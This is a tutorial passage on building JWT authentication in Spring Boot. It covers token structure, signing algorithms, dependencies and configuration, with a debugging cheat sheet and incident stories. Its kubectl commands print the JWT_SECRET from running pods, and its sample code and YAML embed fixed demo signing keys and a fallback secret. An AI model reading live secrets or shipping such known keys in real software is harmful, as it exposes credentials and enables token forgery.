Skip to content
Home Java JWT Authentication with Spring Boot: A Professional Guide to Stateless Security

JWT Authentication with Spring Boot: A Professional Guide to Stateless Security

Where developers are forged. · Structured learning · Free forever.
📍 Part of: Spring Boot → Topic 10 of 15
Master JWT Authentication with Spring Boot 3.
⚙️ Intermediate — basic Java knowledge assumed
In this tutorial, you'll learn
Master JWT Authentication with Spring Boot 3.
  • JWT enables stateless authentication by moving session state from the server to the client — any server can validate the token without a shared session store.
  • A JWT has three parts: Header (algorithm), Payload (claims), and Signature (cryptographic proof). The payload is Base64-encoded, not encrypted — never put sensitive data in it.
  • Use HS256 for single-service architectures (one shared secret). Use RS256 for microservices (private key signs, public key verifies — resource servers can't forge tokens).
✦ Plain-English analogy ✦ Real code with output ✦ Interview questions
Quick Answer
  • JWT enables stateless authentication by moving session state from server to client — any server can validate the token independently
  • A JWT has three parts: Header (algorithm), Payload (claims), Signature (cryptographic proof) — the payload is Base64-encoded, not encrypted
  • HS256 uses one shared secret for signing and verifying — RS256 uses a private key to sign and a public key to verify
  • Access tokens should be short-lived (15-60 min) to limit stolen token damage — refresh tokens are long-lived (7-30 days) for re-authentication
  • Spring Security 6 requires SessionCreationPolicy.STATELESS and JwtAuthenticationFilter before UsernamePasswordAuthenticationFilter
  • The most common production failure: JwtAuthenticationFilter throws on missing tokens instead of silently skipping — breaks all public endpoints
🚨 START HERE
JWT Authentication Debugging Cheat Sheet
Quick-reference commands for diagnosing JWT authentication issues in production. Each card maps a symptom to the exact commands you need. Run these before you start reading application logs — they answer the most common questions in under 60 seconds.
🟡Token validation fails — 401 on every authenticated request
Immediate ActionDecode the token and check expiration, issuer, and signing algorithm
Commands
echo '<TOKEN>' | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .
curl -s http://localhost:8080/actuator/health | jq .components.jwtSecurityHealth
Fix NowVerify signing key matches between token issuer and validator. Check server clock sync with ntpq -p — drift over 60 seconds causes valid tokens to appear expired. Confirm token is not past the exp timestamp in the decoded payload.
🟡Intermittent 401 errors — token works on some requests but fails on others
Immediate ActionCheck if multiple server instances have different signing keys — this is the cause in 90% of intermittent JWT failures in Kubernetes deployments
Commands
kubectl get pods -o jsonpath='{.items[*].spec.containers[*].env[?(@.name=="JWT_SECRET")].value}'
kubectl exec <pod> -- printenv JWT_SECRET | head -c 10
Fix NowEnsure all pods reference the same Kubernetes secret for JWT_SECRET. If keys differ between pods, the pod that issued the token and the pod that validates it may not match. Redeploy after correcting the secret reference.
🟡Application crashes on first login — ClassNotFoundException or signing key error
Immediate ActionVerify all three JJWT dependencies are in pom.xml and check key length — these are the two causes of every startup crash related to JWT
Commands
mvn dependency:tree | grep jjwt
echo '$JWT_SECRET' | base64 -d | wc -c
Fix NowAdd missing jjwt-impl and jjwt-jackson dependencies with runtime scope. Ensure key decodes to at least 32 bytes (256 bits) — JJWT throws WeakKeyException for anything shorter with HS256.
🟡Brute-force login attempts — high volume of 401 on /auth/login
Immediate ActionCheck login attempt rate and implement rate limiting — JWT auth is stateless so there is no built-in lockout after N failed attempts
Commands
kubectl logs <pod> | grep '/auth/login' | grep '401' | wc -l
kubectl logs <pod> --since=1m | grep '/auth/login' | tail -20
Fix NowAdd rate limiting with Bucket4j or Resilience4j on the /auth/login endpoint. Implement exponential backoff responses for repeated failures from the same IP. Consider adding CAPTCHA after 5 consecutive failures from one address.
Production IncidentThe Secret Key That Ended Up in Git History — JWT Forging at ScaleA developer committed the JWT secret key to application.yml and pushed to a public GitHub repository. Within 24 hours, attackers were forging admin tokens and accessing internal APIs.
SymptomThe monitoring team noticed an unusual spike in admin API calls from IP addresses outside the company VPN. Admin endpoints that averaged 50 calls per day were receiving 10,000 calls per hour. User account data was being exfiltrated through the admin export endpoint. No alerts fired on authentication failures because every request was cryptographically valid.
AssumptionThe team initially assumed a compromised admin account — they reset all admin passwords and revoked active sessions. But the admin API calls continued because JWT validation passed with forged tokens. The password reset had no effect on JWT-based authentication. The team spent over two hours chasing the wrong lead because the tokens looked completely legitimate from the server's perspective.
Root causeA developer added the JWT secret key directly in application.yml for local testing and committed it to the repository. The repository was public. An attacker found the key via GitHub search — a search query that took under a minute — used it to forge tokens with admin roles, and accessed internal APIs. Because JWT is stateless, there was no server-side session to revoke. The forged tokens were cryptographically valid, indistinguishable from real tokens.
FixRotated the JWT signing key immediately — all existing tokens became invalid and all users had to re-authenticate. Moved the secret to an environment variable (${JWT_SECRET}) and added application.yml to .gitignore. Implemented key versioning to accept tokens signed with either the old or new key during a 24-hour transition window, preventing a mass hard logout. Added a git pre-commit hook that scans for JWT secret patterns before any push. Added a SecurityHealthIndicator that validates the key is not a known default value at startup — the app refuses to start if the key doesn't meet minimum length and entropy requirements.
Key Lesson
Never hardcode JWT secret keys in source code — use environment variables, Spring Cloud Config, or a secrets manager like HashiCorp Vault or AWS Secrets ManagerA key in source code is a key in git history — even after deletion, the key remains in every commit that touched that file, forever, and GitHub search can surface it in secondsImplement key versioning for zero-downtime key rotation — accept old and new keys during a transition window so legitimate users aren't hard-logged out during an incidentAdd automated scanning in CI/CD for secret patterns — tools like git-secrets or truffleHog catch secrets before they reach the repository, not after the breach
Production Debug GuideWhen JWT authentication behaves unexpectedly in production, here is how to go from observable symptom to resolution. Don't start by reading logs — start by checking the most likely cause for the specific status code you're seeing.
Every API call returns 401 Unauthorized even with a valid-looking tokenDecode the token at jwt.io and check the exp claim — the token is likely expired. Check that the server clock is synchronized (NTP drift as small as 60 seconds causes premature expiration with tight TTLs). Verify the signing key matches between the service that generated the token and the service validating it — this is the most common cause in multi-service deployments. If the token parses correctly but still fails, add a debug log in JwtService.isTokenValid() to print the username comparison result.
Public endpoints (/auth/login, /auth/register) return 500 instead of working without a tokenCheck if the JwtAuthenticationFilter throws an exception when the Authorization header is missing. The filter must silently skip requests without tokens — not throw. Pull the stack trace from application logs: if you see a NullPointerException or JwtException originating from inside doFilterInternal(), the filter is the culprit. Also verify the endpoint pattern in permitAll() exactly matches the actual request path including any context path prefix.
Token works on one server but fails on another — intermittent 401 errorsThe signing key is different between server instances — this is almost always the cause of 'works sometimes' auth failures in horizontally scaled deployments. Check that all instances read the same JWT_SECRET environment variable. In Kubernetes, verify the secret is mounted identically in all pods and that no pod has a stale config from a previous deployment. Check for multiple application profiles (application-dev.yml, application-prod.yml) with different keys that might be loading unexpectedly.
@PreAuthorize annotations are ignored — any authenticated user can access admin endpointsVerify @EnableMethodSecurity is present on the SecurityConfig class. Without it, @PreAuthorize annotations are silently ignored with zero log output — the endpoint just executes. Also check that the authority strings in @PreAuthorize match exactly what's being set in the SecurityContext. hasAuthority('ROLE_ADMIN') and hasRole('ADMIN') are not equivalent — hasRole() prepends ROLE_ automatically while hasAuthority() does not.
Refresh token endpoint returns 401 after the access token expires — client is logged outVerify the refresh endpoint path is in the permitAll() list in SecurityConfig. The most common mistake: the developer added /api/v1/auth/login and /api/v1/auth/register to permitAll() but forgot /api/v1/auth/refresh. Also check that the client is sending the refresh token (not the expired access token) in the request body. Verify the refresh token TTL is longer than the access token TTL — if both are the same value, they expire simultaneously.
Login works but subsequent API calls return 403 Forbidden instead of 401403 means the user is authenticated but lacks the required role — so the token is being validated correctly. Check the JWT payload's roles claim using jwt.io — the role name must match exactly what's in @PreAuthorize or requestMatchers().hasAuthority(). Check that the JwtAuthenticationFilter sets the correct GrantedAuthorities when building the UsernamePasswordAuthenticationToken. Log SecurityContextHolder.getContext().getAuthentication().getAuthorities() in the controller to see what authorities are actually set at request time.

Stateful session authentication creates a scaling bottleneck — every request requires a database or cache lookup to validate the session. At 2,000 requests per second across 8 server instances, Redis-backed sessions spiked from 2ms to 300ms latency during peak traffic. JWT-based stateless auth eliminated the shared session store entirely — the same app scaled to 20 instances with p99 response times dropping from 3 seconds to 52ms.

JWT (JSON Web Token) is the standard for stateless authentication — the token itself contains everything the server needs: who the user is, what they can do, and when it expires. The server validates the cryptographic signature and trusts the claims inside. No database lookup. No shared session cache. No Redis cluster to maintain.

But JWT is not free of trade-offs. Token revocation is harder. The payload is visible to anyone. Weak signing keys turn a cryptographic guarantee into security theater. This guide covers the complete picture — JWT structure, signing algorithms (HS256 vs RS256), the full Spring Boot 3.2+ implementation with Spring Security 6, token refresh flows, client-side storage security, and the production mistakes I've seen take down real systems.

Every section reflects patterns that hold up in production — not just in tutorials.

JWT Structure: What's Inside That Token

A JWT is three Base64URL-encoded strings separated by dots: HEADER.PAYLOAD.SIGNATURE. You can inspect any JWT by pasting it into jwt.io — the signature is verified locally in your browser, and the payload is displayed in plaintext. This is critical: the payload is NOT encrypted, only encoded. Anyone with the token can read the claims.

Header — Contains metadata about the token: the signing algorithm (HS256, RS256) and the token type (JWT). Example: {"alg":"HS256","typ":"JWT"}

Payload — The claims: statements about the user and metadata. Standard claims include: sub (subject — user ID or email), iss (issuer — who issued the token), iat (issued at), exp (expiration), jti (unique token ID for blacklisting). Custom claims are your application-specific data: roles, tenant_id, permissions. Keep this small — the token is sent on every request.

Signature — Created by taking the encoded header and encoded payload, concatenating them with a dot, and signing with the secret key (HS256) or private key (RS256). The signature is what prevents tampering — if anyone modifies the payload, the signature no longer matches and the token is rejected.

One thing worth repeating: the payload being visible is by design, not a flaw. JWT was never intended to be a confidentiality mechanism. It proves authenticity — it does not provide secrecy. If you need the payload to be private, look at JWE (JSON Web Encryption), but in most applications the right answer is to simply not put secrets in the payload.

io/thecodeforge/security/JwtStructureDemo.java · JAVA
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465
package io.thecodeforge.security;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.io.Decoders;
import io.jsonwebtoken.security.Keys;

import java.security.Key;
import java.util.Date;

public class JwtStructureDemo {

    // Generated with: openssl rand -base64 32
    // In production this comes from ${JWT_SECRET} environment variable — never hardcoded
    private static final String SECRET_KEY = "dGhpcyBpcyBhIDI1NiBiaXQgc2VjcmV0IGtleSBmb3Igand0IHNpZ25pbmc=";

    public static void main(String[] args) {

        Key signingKey = Keys.hmacShaKeyFor(Decoders.BASE64.decode(SECRET_KEY));

        // Build a token with standard + custom claims
        String token = Jwts.builder()
                .setSubject("alice@thecodeforge.io")         // who the token represents
                .setIssuer("thecodeforge-auth-service")      // who issued it
                .setAudience("thecodeforge-api")             // intended recipient
                .setIssuedAt(new Date())
                .setExpiration(new Date(System.currentTimeMillis() + 3600000)) // 1 hour
                .setId("tok-" + System.currentTimeMillis()) // unique ID for blacklisting
                .claim("roles", "ROLE_ADMIN,ROLE_USER")      // custom claim — authorization
                .claim("tenant_id", "tenant-001")           // custom claim — multi-tenancy
                .signWith(signingKey, SignatureAlgorithm.HS256)
                .compact();

        System.out.println("Token: " + token);
        System.out.println();

        // Parse and read claims — this is what the filter does on every request
        Claims claims = Jwts.parserBuilder()
                .setSigningKey(signingKey)
                .build()
                .parseClaimsJws(token)
                .getBody();

        System.out.println("Subject:   " + claims.getSubject());
        System.out.println("Issuer:    " + claims.getIssuer());
        System.out.println("Expires:   " + claims.getExpiration());
        System.out.println("Token ID:  " + claims.getId());
        System.out.println("Roles:     " + claims.get("roles"));
        System.out.println("Tenant:    " + claims.get("tenant_id"));
        System.out.println();

        // Demonstrate tamper detection — this is the entire security guarantee
        String tamperedToken = token.substring(0, token.length() - 5) + "XXXXX";
        try {
            Jwts.parserBuilder()
                    .setSigningKey(signingKey)
                    .build()
                    .parseClaimsJws(tamperedToken);
        } catch (Exception e) {
            System.out.println("Tampered token rejected: " + e.getClass().getSimpleName());
            System.out.println("Message: " + e.getMessage());
        }
    }
}
▶ Output
Token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhbGljZUB0aGVjb2RlZm9yZ2UuaW8i...

Subject: alice@thecodeforge.io
Issuer: thecodeforge-auth-service
Expires: Mon Apr 15 15:00:00 BST 2026
Token ID: tok-1744714800000
Roles: ROLE_ADMIN,ROLE_USER
Tenant: tenant-001

Tampered token rejected: SignatureException
Message: JWT signature does not match locally computed signature.
Mental Model
JWT Is a Tamper-Proof Envelope, Not a Locked Safe
The JWT signature prevents tampering but not reading — the payload is Base64-encoded, not encrypted. Anyone who holds the token can decode and read every claim.
  • Header specifies the algorithm (HS256, RS256) and token type — always JWT
  • Payload contains claims: sub (user ID), exp (expiration), roles (authorization) — anyone can decode these with a single base64 decode command
  • Signature is the cryptographic proof — modifying header or payload invalidates the signature entirely
  • Never put passwords, API keys, SSNs, credit card numbers, or any PII in the payload — every proxy, load balancer, and access log that touches the request can see it
  • The jti claim (unique token ID) enables server-side blacklisting of stolen tokens — include it if revocation is a requirement
📊 Production Insight
A team stored a user's credit card last-4-digits in the JWT payload as a UX convenience — the frontend could display it without a separate API call.
A routine security audit flagged this as PII exposure. The token was being logged verbatim in API gateway access logs, sent to the logging aggregator, and indexed in Elasticsearch.
Every single access log line for six months contained the card fragment in plaintext Base64.
The fix took an afternoon to code and two weeks to purge from log storage.
Rule: the JWT payload is visible to every proxy, log shipper, browser extension, and developer tool that touches the request. Treat it as a postcard, not a sealed letter.
🎯 Key Takeaway
JWT has three parts: Header (algorithm), Payload (claims), Signature (proof) — the payload is Base64-encoded, not encrypted.
Anyone can decode the JWT payload at jwt.io in under 10 seconds — never put passwords, credit cards, SSNs, or any PII in the claims.
The signature prevents tampering, not reading — if you need payload encryption, use JWE, but the simpler answer is to keep secrets out of the token entirely.
What to Include in the JWT Payload
IfUser identifier needed for authorization checks
UseUse the sub claim with user ID or email — this is the standard subject identifier. Prefer an opaque internal ID over email to reduce PII exposure.
IfRole-based access control required
UseAdd a custom roles claim with a list of role names (ROLE_ADMIN, ROLE_USER). Keep the list small — the token is sent on every request and parsed on every request.
IfMulti-tenant application with tenant isolation
UseAdd a custom tenant_id claim — resource servers use this to scope database queries and enforce data isolation between tenants.
IfNeed to blacklist specific stolen tokens
UseInclude a unique jti claim (UUID or timestamp-based) — store revoked jti values in Redis with a TTL matching the token expiration. Check in the filter before trusting claims.

HS256 vs RS256: Choosing the Right Signing Algorithm

JWT supports two families of signing algorithms: symmetric (HMAC) and asymmetric (RSA/ECDSA). The choice isn't just a performance decision — it determines your key management architecture and the blast radius of a key compromise.

HS256 (HMAC-SHA256) — Symmetric. One shared secret key signs AND verifies. Simple, fast, and operationally sufficient when a single service both issues and validates tokens. The risk: every service that validates tokens needs a copy of the secret. If any one of those services is compromised, an attacker gets a key that can forge tokens accepted by every other service.

RS256 (RSA-SHA256) — Asymmetric. A private key signs tokens on the auth server; a public key verifies them on resource servers. The private key never leaves the auth server. Resource servers hold only the public key — which cannot forge tokens, only verify them. A compromised resource server exposes the public key (which is already public) but not the signing capability.

ES256 (ECDSA-P256) — Asymmetric, like RS256 but with smaller keys and significantly faster signing and verification. A 256-bit ECDSA key provides equivalent security to a 3072-bit RSA key. For new systems with no legacy constraints, ES256 is the correct default.

The practical rule: if exactly one service issues and validates tokens, HS256 is simpler and fine. If more than one service validates tokens, use RS256 or ES256 — the asymmetric model keeps the signing capability isolated to a single point.

io/thecodeforge/security/AlgorithmComparison.java · JAVA
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677
package io.thecodeforge.security;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.io.Decoders;
import io.jsonwebtoken.security.Keys;

import java.security.Key;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.util.Date;

public class AlgorithmComparison {

    public static void main(String[] args) throws Exception {

        // ========== HS256: Symmetric — one key signs AND verifies ==========
        String sharedSecret = "dGhpcyBpcyBhIDI1NiBiaXQgc2VjcmV0IGtleSBmb3Igand0IHNpZ25pbmc=";
        Key hmacKey = Keys.hmacShaKeyFor(Decoders.BASE64.decode(sharedSecret));

        String hs256Token = Jwts.builder()
                .setSubject("alice@thecodeforge.io")
                .setIssuer("thecodeforge-auth")
                .setExpiration(new Date(System.currentTimeMillis() + 3600000))
                .signWith(hmacKey, SignatureAlgorithm.HS256)
                .compact();

        // Same key used to verify — every service that validates needs this secret
        Claims hs256Claims = Jwts.parserBuilder()
                .setSigningKey(hmacKey)
                .build()
                .parseClaimsJws(hs256Token)
                .getBody();

        System.out.println("HS256 subject: " + hs256Claims.getSubject());
        System.out.println("HS256 token length: " + hs256Token.length() + " chars");
        System.out.println();

        // ========== RS256: Asymmetric — private key signs, public key verifies ==========
        // In production: load from a PEM file or secrets manager, don't generate each time
        KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA");
        keyPairGen.initialize(2048);
        KeyPair rsaKeyPair = keyPairGen.generateKeyPair();
        PrivateKey privateKey = rsaKeyPair.getPrivate(); // stays on auth server only
        PublicKey publicKey = rsaKeyPair.getPublic();    // distributed to all resource servers

        String rs256Token = Jwts.builder()
                .setSubject("alice@thecodeforge.io")
                .setIssuer("thecodeforge-auth")
                .setExpiration(new Date(System.currentTimeMillis() + 3600000))
                .signWith(privateKey, SignatureAlgorithm.RS256)
                .compact();

        // Public key verifies — a compromised resource server cannot forge tokens
        Claims rs256Claims = Jwts.parserBuilder()
                .setSigningKey(publicKey)
                .build()
                .parseClaimsJws(rs256Token)
                .getBody();

        System.out.println("RS256 subject: " + rs256Claims.getSubject());
        System.out.println("RS256 token length: " + rs256Token.length() + " chars");

        // Attempt to use public key for signing — this fails with a meaningful error
        try {
            Jwts.builder()
                    .setSubject("attacker@evil.io")
                    .signWith(publicKey, SignatureAlgorithm.RS256)
                    .compact();
        } catch (Exception e) {
            System.out.println("\nCannot sign with public key: " + e.getClass().getSimpleName());
        }
    }
}
▶ Output
HS256 subject: alice@thecodeforge.io
HS256 token length: 211 chars

RS256 subject: alice@thecodeforge.io
RS256 token length: 489 chars

Cannot sign with public key: ClassCastException
Mental Model
HS256 Is One Key, RS256 Is Two Keys With a One-Way Door
Symmetric signing means every service needs the same secret — compromise one, compromise all. Asymmetric means the signing capability stays in one place.
  • HS256: one shared secret signs AND verifies — distribute the secret to every validator and you distribute the ability to forge
  • RS256: private key signs on auth server only, public key verifies on resource servers — public key exposure doesn't enable forgery
  • ES256: same asymmetric model as RS256 but smaller keys and faster operations — the right default for systems built in 2025 and beyond
  • If you have more than one service validating tokens, use RS256 or ES256 — HS256 does not compose securely across service boundaries
  • Auth0, Keycloak, and Okta all default to RS256 with a JWKS endpoint for exactly this reason — they serve tokens to arbitrary third-party services
📊 Production Insight
A team used HS256 across 12 microservices. Every service had the shared secret in its environment — a reasonable setup when the system was small.
One low-priority internal service — a metrics aggregator — had an unpatched path traversal vulnerability. Attackers extracted its environment variables, found JWT_SECRET, and started forging admin tokens.
Every single service accepted the forged tokens because they all shared the same signing key. The blast radius was the entire platform.
The remediation required rotating secrets across all 12 services simultaneously and invalidating every active token.
Rule: with more than one service validating tokens, HS256 means a single service compromise compromises everything. RS256 contains the blast radius to the auth server.
🎯 Key Takeaway
HS256 uses one shared secret — every service that validates tokens has a copy of the key that can also forge tokens. One service compromised means all services compromised.
RS256 uses a private key to sign and a public key to verify — a compromised resource server only exposes the already-public verification key, not the signing capability.
Use RS256 or ES256 for microservices — every major identity provider defaults to asymmetric signing for exactly this containment property.
Choosing a JWT Signing Algorithm
IfSingle monolithic service that both issues and validates tokens
UseUse HS256 — simpler operationally, one key to rotate, faster than RSA. The shared secret risk is contained to one service.
IfMicroservices architecture with multiple services validating tokens
UseUse RS256 — private key stays on auth server, public key distributed to resource servers. A compromised resource server cannot forge tokens.
IfNew system with no legacy constraints or existing infrastructure
UseUse ES256 — equivalent security to RS256 with smaller key sizes, faster operations, and smaller token footprint.
IfThird-party integrations need to verify your tokens
UseUse RS256 or ES256 with a JWKS endpoint (/.well-known/jwks.json) — publish the public key so external services can verify without contacting your auth server.

Project Setup: Dependencies and Configuration

Before writing any code, you need the right dependencies and configuration. JWT authentication in Spring Boot requires three things: the JJWT library for token operations, Spring Security for the filter chain, and a secret key stored securely.

The JJWT library (io.jsonwebtoken) is the standard Java library for JWT operations. Version 0.12.x is the current stable release and is the version you should be on — the 0.11.x API had breaking changes, and online examples mixing the two will cause subtle compile-time and runtime failures.

Spring Security 6 (included in Spring Boot 3.2+) changed the configuration API significantly — the old WebSecurityConfigurerAdapter is gone entirely, replaced by SecurityFilterChain beans. If you find examples still using WebSecurityConfigurerAdapter, they're targeting Spring Boot 2.x and the config will not compile in 3.x.

The secret key must be at least 256 bits (32 bytes) for HS256. JJWT enforces this — a key shorter than 256 bits throws WeakKeyException at token generation time, not at startup. Generate a key with: openssl rand -base64 32. Store it in an environment variable or secrets manager — never in application.yml that gets committed to git.

pom.xml · XML
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162
<dependencies>
    <!-- Web layer: REST controllers, embedded Tomcat -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

    <!-- Spring Security: filter chain, authentication, authorization -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-security</artifactId>
    </dependency>

    <!-- JJWT: all three artifacts are REQUIRED — api alone is just interfaces -->
    <dependency>
        <groupId>io.jsonwebtoken</groupId>
        <artifactId>jjwt-api</artifactId>
        <version>0.12.5</version>
    </dependency>
    <dependency>
        <groupId>io.jsonwebtoken</groupId>
        <artifactId>jjwt-impl</artifactId>
        <version>0.12.5</version>
        <scope>runtime</scope> <!-- implementation loaded at runtime via SPI -->
    </dependency>
    <dependency>
        <groupId>io.jsonwebtoken</groupId>
        <artifactId>jjwt-jackson</artifactId>
        <version>0.12.5</version>
        <scope>runtime</scope> <!-- JSON serialization of claims -->
    </dependency>

    <!-- JPA + H2 for the user repository (swap H2 for PostgreSQL in production) -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-data-jpa</artifactId>
    </dependency>
    <dependency>
        <groupId>com.h2database</groupId>
        <artifactId>h2</artifactId>
        <scope>runtime</scope>
    </dependency>

    <!-- Lombok: reduces boilerplate for entities and services -->
    <dependency>
        <groupId>org.projectlombok</groupId>
        <artifactId>lombok</artifactId>
        <optional>true</optional>
    </dependency>

    <!-- Validation: @Valid on request bodies -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-validation</artifactId>
    </dependency>

    <!-- Actuator: exposes /actuator/health for the SecurityHealthIndicator -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-actuator</artifactId>
    </dependency>
</dependencies>
▶ Output
Dependencies resolved. JJWT 0.12.5 + Spring Security 6 + Spring Boot 3.2+.
All three JJWT artifacts present: jjwt-api, jjwt-impl, jjwt-jackson.
⚠ All Three JJWT Artifacts Are Required — Not Optional:
The single most common JWT setup mistake is adding only jjwt-api to pom.xml and omitting jjwt-impl and jjwt-jackson. The api artifact contains only interfaces — JJWT uses Java's ServiceLoader mechanism to find the implementation at runtime. Without jjwt-impl, Jwts.builder() throws NoSuchAlgorithmException or ClassNotFoundException at runtime — the app compiles perfectly but crashes on the first token operation. Without jjwt-jackson, custom claim serialization fails with a JsonProcessingException. Always include all three artifacts. Always verify with mvn dependency:tree | grep jjwt.
📊 Production Insight
A team added only jjwt-api to pom.xml — the application compiled without warnings and passed all unit tests because the tests mocked JwtService.
The first deployment to staging crashed on login with: java.lang.ClassNotFoundException: io.jsonwebtoken.impl.DefaultJwtBuilder.
They spent four hours debugging classpath issues, checking Spring Boot version compatibility, and reading JJWT GitHub issues before finding the missing artifact.
The fix was two lines in pom.xml. Four hours of debugging for two lines.
Rule: always add all three JJWT artifacts at project setup time. Verify with mvn dependency:tree before the first commit.
🎯 Key Takeaway
JJWT requires three artifacts: jjwt-api (interfaces), jjwt-impl (implementation, runtime scope), jjwt-jackson (JSON, runtime scope) — missing any one causes runtime failures that compile cleanly.
Generate the secret key with openssl rand -base64 32 — the decoded key must be at least 32 bytes for HS256 or JJWT throws WeakKeyException.
Store the key in an environment variable or secrets manager — never in source code or application.yml committed to git.

Configuration: application.yml and Secret Key Management

The JWT configuration goes in application.yml. The critical values are the secret key, the access token expiration, and the refresh token expiration. The secret key must decode to at least 32 bytes (256 bits) for HS256 — JJWT enforces this at token generation time with a WeakKeyException.

In production, never hardcode the secret key in application.yml. The ${JWT_SECRET} environment variable pattern with a fallback is intentional — the fallback exists for local development only and must never reach a production environment. The right enforcement mechanism is a startup health check that rejects known default values.

Separate expiration values for access tokens and refresh tokens reflect different security requirements: access tokens expire in minutes because they travel on every API request; refresh tokens expire in days because they're stored in a protected location and used infrequently. Shorter access token TTLs directly reduce the stolen-token damage window.

src/main/resources/application.yml · YAML
123456789101112131415161718192021222324252627282930313233
application:
  security:
    jwt:
      # In production: set JWT_SECRET environment variable — never use the fallback value
      # Generate with: openssl rand -base64 32
      # Must decode to at least 32 bytes — JJWT enforces this with WeakKeyException
      secret-key: ${JWT_SECRET:dGhpcyBpcyBhIHZlcnkgc2VjdXJlIHNlY3JldCBrZXkgZm9yIGp3dA==}
      expiration: 900000          # 15 minutes — access token
      refresh-token:
        expiration: 604800000     # 7 days — refresh token

spring:
  jpa:
    hibernate:
      ddl-auto: update
    show-sql: false               # set to true in dev only — leaks query structure in prod logs
  datasource:
    url: jdbc:h2:mem:testdb      # replace with PostgreSQL in production
    driver-class-name: org.h2.Driver

management:
  endpoints:
    web:
      exposure:
        include: health           # expose only health — never expose env or beans in production
  endpoint:
    health:
      show-details: when-authorized

logging:
  level:
    io.thecodeforge.security: DEBUG   # remove DEBUG in production
    org.springframework.security: INFO
▶ Output
Configuration loaded.
Access token TTL: 15 minutes (900,000ms).
Refresh token TTL: 7 days (604,800,000ms).
JWT_SECRET read from environment variable.
⚠ The Fallback Value Is a Local Dev Shortcut, Not a Default:
The ${JWT_SECRET:fallback} syntax means: use the JWT_SECRET environment variable if set, otherwise use the fallback. The fallback is a known value. If it reaches production — because someone forgot to set the environment variable — attackers can forge tokens using the publicly known fallback. Add a SecurityHealthIndicator (shown in a later section) that detects the fallback value at startup and refuses to start. Fail fast in production rather than running with a compromised key.
📊 Production Insight
A team used the same JWT_SECRET fallback value across dev, staging, and production environments — they never configured the environment variable on any environment.
A developer testing against staging generated a token. It worked against production too because both environments used identical signing keys.
For three months, staging tokens were valid in production for their full 7-day refresh TTL.
No users were harmed in this case, but a disgruntled developer with staging access could have accessed production data.
Rule: use unique, randomly generated signing keys per environment. A staging token must cryptographically fail against production.
🎯 Key Takeaway
Use ${JWT_SECRET} environment variable with a fallback for local development only — the fallback must never be used in production, and a startup health check should enforce this.
Access tokens: 15-60 minutes to limit stolen token damage. Refresh tokens: 7-30 days for user convenience without frequent re-authentication.
Use unique signing keys per environment — a staging token must not be cryptographically valid against production.
JWT Token TTL Configuration by Use Case
IfStandard web application or SPA with user sessions
UseAccess token: 15-30 minutes, Refresh token: 7 days — balances security and user experience for typical business applications
IfHigh-security application — banking, healthcare, financial services
UseAccess token: 5-15 minutes, Refresh token: 1-2 days — smaller stolen token window, accepts slightly more re-authentication friction
IfInternal microservice-to-microservice communication
UseAccess token: 5 minutes, no refresh token — services re-authenticate automatically using client credentials; no human is waiting for the token
IfMobile application with offline capability
UseAccess token: 60 minutes, Refresh token: 30 days — reduces re-authentication friction on mobile where switching apps breaks the flow

User Entity, Repository, and UserDetailsService

Spring Security needs a way to load user details from your data store. This is the UserDetailsService — an interface with one method: loadUserByUsername(). Your implementation queries your database and returns a UserDetails object containing the username, password hash, and authorities (roles).

The User entity implements Spring Security's UserDetails interface directly. This keeps the design simple for single-service applications — you're not mapping between two parallel user representations. For larger systems where the security model is more complex, you might separate the JPA entity from the UserDetails implementation, but start simple and refactor when you have a real reason.

Passwords are stored as BCrypt hashes. BCrypt has a configurable work factor (cost parameter) — the default of 10 takes roughly 100ms per hash on modern hardware. That's intentional: it makes brute-force attacks computationally expensive. A database full of BCrypt hashes with work factor 12 (250ms per hash) gives attackers roughly 4 attempts per second per cracking machine — viable security against even well-resourced attackers.

io/thecodeforge/security/User.java · JAVA
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162
package io.thecodeforge.security;

import jakarta.persistence.*;
import lombok.*;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.UserDetails;

import java.util.Collection;
import java.util.List;

@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
@Entity
@Table(name = "users",
       indexes = @Index(name = "idx_users_email", columnList = "email")) // email lookup is hot path
public class User implements UserDetails {

    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Integer id;

    @Column(unique = true, nullable = false, length = 255)
    private String email;

    @Column(nullable = false, length = 100)
    private String firstname;

    @Column(length = 100)
    private String lastname;

    @Column(nullable = false, length = 60) // BCrypt output is always 60 characters
    private String password;

    @Enumerated(EnumType.STRING)
    @Column(nullable = false, length = 20)
    private Role role;

    @Override
    public Collection<? extends GrantedAuthority> getAuthorities() {
        // In practice you may want to return multiple authorities for fine-grained RBAC
        return List.of(new SimpleGrantedAuthority(role.name()));
    }

    @Override
    public String getUsername() {
        return email; // email is the unique identifier used for authentication
    }

    @Override
    public String getPassword() {
        return password;
    }

    // For production systems, drive these from database columns rather than returning true
    @Override public boolean isAccountNonExpired() { return true; }
    @Override public boolean isAccountNonLocked() { return true; }
    @Override public boolean isCredentialsNonExpired() { return true; }
    @Override public boolean isEnabled() { return true; }
}
▶ Output
User entity created. Email indexed for fast lookup. Password stored as BCrypt hash (60 chars).
🔥UserDetailsService Is the Bridge Between Your Database and Spring Security:
